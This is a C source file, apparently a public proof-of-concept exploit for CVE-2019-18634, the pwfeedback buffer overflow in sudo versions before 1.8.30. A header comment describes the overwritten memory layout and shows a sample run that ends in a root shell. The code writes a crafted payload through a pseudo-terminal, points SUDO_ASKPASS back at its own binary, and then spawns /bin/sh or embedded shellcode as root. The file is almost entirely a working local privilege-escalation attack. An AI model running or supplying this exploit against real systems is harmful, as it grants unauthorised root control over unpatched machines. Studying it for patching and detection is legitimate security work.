229 lines
5.9 KiB
C
229 lines
5.9 KiB
C
/*
|
|
--- Exploit Info ---
|
|
ID: CVE-2019-18634
|
|
Software: sudo
|
|
Versions: < 1.8.30
|
|
Tested: 1.8.25
|
|
Description: buffer overflow in sudo tgetpass.c when pwfeedback module is enabled
|
|
|
|
Exploitation details:
|
|
|
|
We need to trigger the buffer overflow located in getln @ tgetpass.c, to
|
|
overflow some internal data structures and variables to get root privileges.
|
|
|
|
Memory order:
|
|
|
|
static char buf[SUDO_CONV_REPL_MAX + 1];
|
|
|
|
static const char *askpass;
|
|
|
|
static volatile sig_atomic_t signo[NSIG];
|
|
|
|
extern int tgetpass_flags;
|
|
|
|
struct user_details {
|
|
pid_t pid;
|
|
pid_t ppid;
|
|
pid_t pgid;
|
|
pid_t tcpgid;
|
|
pid_t sid;
|
|
uid_t uid;
|
|
uid_t euid;
|
|
uid_t gid;
|
|
uid_t egid;
|
|
const char *username;
|
|
const char *cwd;
|
|
const char *tty;
|
|
const char *host;
|
|
const char *shell;
|
|
GETGROUPS_T *groups;
|
|
int ngroups;
|
|
int ts_cols;
|
|
int ts_lines;
|
|
};
|
|
|
|
Execution:
|
|
|
|
lockedbyte@pwn:~$ /tmp/exploit
|
|
[i] CVE-2019-18634 - sudo < 1.8.30 OOB write (buffer overflow) leading to privilege escalation
|
|
[.] initializing pseudo-terminal...
|
|
[.] making pseudo-terminal O_RDONLY to make write() fail...
|
|
[.] crafting payload...
|
|
[.] sending payload...
|
|
[.] creating callback through SUDO_ASKPASS to /proc/self/exe...
|
|
[.] triggering vulnerability...
|
|
Password:
|
|
Sorry, try again.
|
|
[+] callback executed!
|
|
[+] we are root!
|
|
# id
|
|
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(lockedbyte)
|
|
# pwd
|
|
/home/lockedbyte
|
|
#
|
|
|
|
|
|
--- End Exploit Info ---
|
|
*/
|
|
|
|
#define _GNU_SOURCE
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <fcntl.h>
|
|
#include <sys/mman.h>
|
|
#include <termios.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
|
|
#define MAX_PAYLOAD_SIZE 1024
|
|
#define MAX_ENV_SZ 512
|
|
|
|
#define ID_BIN_PATH "/usr/bin/id"
|
|
#define ENV_ASKPASS "SUDO_ASKPASS"
|
|
|
|
#define MIN_TERM_ROUND 0xfe
|
|
#define OFF_T 0x272
|
|
#define FLAG_VAL 0x04
|
|
|
|
#define CUSTOM_SHELLCODE 0
|
|
#define SH_ROOT_SHELL 1
|
|
#define CUSTOM_EXECUTABLE 2
|
|
|
|
#define EXE_PATH "/proc/self/exe"
|
|
|
|
#define SHELLCODE "\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
|
|
#define SH_ROOT_PATH "/bin/sh"
|
|
#define CUSTOM_EXECUTABLE_PATH "/usr/bin/whoami"
|
|
|
|
#define EXPLOIT_PAYLOAD SH_ROOT_SHELL
|
|
|
|
int evil_code(void) {
|
|
fprintf(stderr, "[+] callback executed!\n");
|
|
unsetenv(ENV_ASKPASS);
|
|
dup2(2, 0);
|
|
dup2(2, 1);
|
|
if(getuid() != 0) {
|
|
fprintf(stderr, "[-] we are not root. exiting...\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
fprintf(stderr, "[+] we are root!\n");
|
|
|
|
if(EXPLOIT_PAYLOAD == CUSTOM_SHELLCODE) {
|
|
|
|
void *shellcode;
|
|
shellcode = mmap(NULL, sizeof(SHELLCODE)+1, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
|
|
memset(shellcode, 0x90, sizeof(SHELLCODE)+1);
|
|
memcpy(shellcode, SHELLCODE, sizeof(SHELLCODE));
|
|
int (*fptr)() = (int(*)())shellcode;
|
|
|
|
} else if(EXPLOIT_PAYLOAD == SH_ROOT_SHELL) {
|
|
execve("/bin/sh", NULL, NULL);
|
|
} else if(EXPLOIT_PAYLOAD == CUSTOM_EXECUTABLE) {
|
|
execve(CUSTOM_EXECUTABLE_PATH, NULL, NULL);
|
|
}
|
|
|
|
return 1;
|
|
|
|
}
|
|
|
|
int main(int argc, char *argv[]) {
|
|
|
|
/* initial variable definitions */
|
|
|
|
int masterfd;
|
|
int slavefd;
|
|
char *payload;
|
|
char target_path[MAX_ENV_SZ];
|
|
struct termios termx;
|
|
char *pts_name;
|
|
|
|
puts("[i] CVE-2019-18634 - sudo < 1.8.30 OOB write (buffer overflow) leading to privilege escalation");
|
|
|
|
/* the exploit executed by sudo has 2 argv entries, the on executed initially just one */
|
|
if(argc == 0x2) {
|
|
evil_code(); /* we are probably getting executed by sudo with SUDO_ASKPASS */
|
|
return 0;
|
|
}
|
|
|
|
puts("[.] initializing pseudo-terminal...");
|
|
/* we initialize the pseudo-terminal */
|
|
masterfd = posix_openpt(O_RDWR);
|
|
|
|
/* grant access to the slave pseudoterminal */
|
|
if(grantpt(masterfd) < 0) {
|
|
puts("[-] err.: grantpt() failed!");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
/* unlock a pseudoterminal master/slave pair */
|
|
if(unlockpt(masterfd) < 0) {
|
|
puts("[-] err.: unlockpt() failed!");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if(tcgetattr(masterfd, &termx) < 0) {
|
|
puts("[-] err.: tcgetattr() failed!");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
cfmakeraw(&termx);
|
|
|
|
if(tcsetattr(masterfd, TCSANOW, &termx) < 0) {
|
|
puts("[-] err.: tcsetattr() failed!");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
/* get the name of the slave pseudoterminal */
|
|
pts_name = ptsname(masterfd);
|
|
|
|
puts("[.] making pseudo-terminal O_RDONLY to make write() fail...");
|
|
/* it will be read-only to make the write syscall fail at tgetpass.c:328 */
|
|
slavefd = open(pts_name, O_NOCTTY | O_RDONLY);
|
|
|
|
/* initialize any memory space to store payload */
|
|
payload = malloc(MAX_PAYLOAD_SIZE);
|
|
|
|
/* fill memory with NULL bytes */
|
|
memset(payload, 0, malloc_usable_size(payload));
|
|
|
|
puts("[.] crafting payload...");
|
|
|
|
/* to set the flag for SUDO_ASKPASS */
|
|
payload[OFF_T] = FLAG_VAL;
|
|
|
|
/* we set the sudo_term_kill character each n bytes to avoid BOF ending */
|
|
for(int i = 0 ; i < (malloc_usable_size(payload)/MIN_TERM_ROUND) ; i++)
|
|
payload[MIN_TERM_ROUND*i] = 0x15; /* the sudo_term_kill character is 0x15 */
|
|
|
|
puts("[.] sending payload...");
|
|
/* we send the payload to the pseudo terminal */
|
|
write(masterfd, payload, malloc_usable_size(payload));
|
|
|
|
free(payload);
|
|
*payload = NULL;
|
|
|
|
puts("[.] creating callback through SUDO_ASKPASS to /proc/self/exe...");
|
|
/* we want to execute our selves once sudo finishes, then we will use /proc/self/exe */
|
|
/* we use readlink to get the real path from the symlink */
|
|
readlink(EXE_PATH, target_path, sizeof(target_path)-1);
|
|
|
|
/* we set the SUDO_ASKPASS to te path where this program is stored */
|
|
setenv(ENV_ASKPASS, target_path, 1);
|
|
|
|
/* redirect stdin to slavefd */
|
|
dup2(slavefd, 0);
|
|
|
|
/* close slavefd */
|
|
close(slavefd);
|
|
|
|
puts("[.] triggering vulnerability...");
|
|
|
|
/* finally we execute sudo with those specific args to trigger the vulnerability */
|
|
execl("/usr/bin/sudo", "/usr/bin/sudo", "-S", "id", NULL);
|
|
|
|
close(masterfd);
|
|
|
|
return 0;
|
|
|
|
}
|